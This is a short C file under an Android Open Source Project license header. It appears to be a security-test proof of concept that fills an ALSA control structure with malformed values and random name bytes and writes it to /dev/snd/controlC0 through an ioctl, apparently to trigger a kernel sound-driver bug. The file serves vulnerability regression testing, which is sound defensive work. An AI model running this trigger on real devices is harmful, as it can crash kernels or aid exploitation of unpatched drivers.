C++程序  |  87行  |  2.3 KB

/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE

#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>

#define SNDRV_CTL_IOCTL_ELEM_WRITE	_IOWR('U', 0x13, struct snd_ctl_elem_value)

typedef int __bitwise snd_ctl_elem_iface_t;

struct snd_aes_iec958 {
    unsigned char status[24];
    unsigned char subcode[147];
    unsigned char pad;
    unsigned char dig_subframe[4];
};

struct snd_ctl_elem_id {
    unsigned int numid;
    snd_ctl_elem_iface_t iface;
    unsigned int device;
    unsigned int subdevice;
    unsigned char name[44];
    unsigned int index;
};

struct snd_ctl_elem_value {
    struct snd_ctl_elem_id id;
    unsigned int indirect: 1;
    union {
	union {
	    long value[128];
	    long *value_ptr;
	} integer;
	union {
	    long long value[64];
	    long long *value_ptr;
	} integer64;
	union {
	    unsigned int item[128];
	    unsigned int *item_ptr;
	} enumerated;
	union {
	    unsigned char data[512];
	    unsigned char *data_ptr;
	} bytes;
	struct snd_aes_iec958 iec958;
    } value;
    struct timespec tstamp;
    unsigned char reserved[128-sizeof(struct timespec)];
};

int main()
{
    struct snd_ctl_elem_value val;
    memset(&val, 0xff, sizeof(val));
    val.id.numid = 0x80;
    val.id.iface = 0x1;
    val.id.device = 0x400;
    val.id.subdevice = 0x7;
    memcpy(val.id.name, "\x1d\xfe\xcb\x4c\x1f\x74\x53\xcb\x34\x3c\xcc\x05\xa4\x8e\x24\x98\x87\xe5\xc5\x58\xaf\xb1\x82\x96\x43\x67\x54\xd8\x6d\x5e\x3b\x05\x95\xbe\xfb\xe7\x2e\x7d\x08\xf8\xd6\x7e\xaa\x54", 44);
    val.id.index = 4;
    val.value.integer.value[0] = 0x30;
    int fd = open("/dev/snd/controlC0", O_RDWR);
    ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &val);
    return 0;
}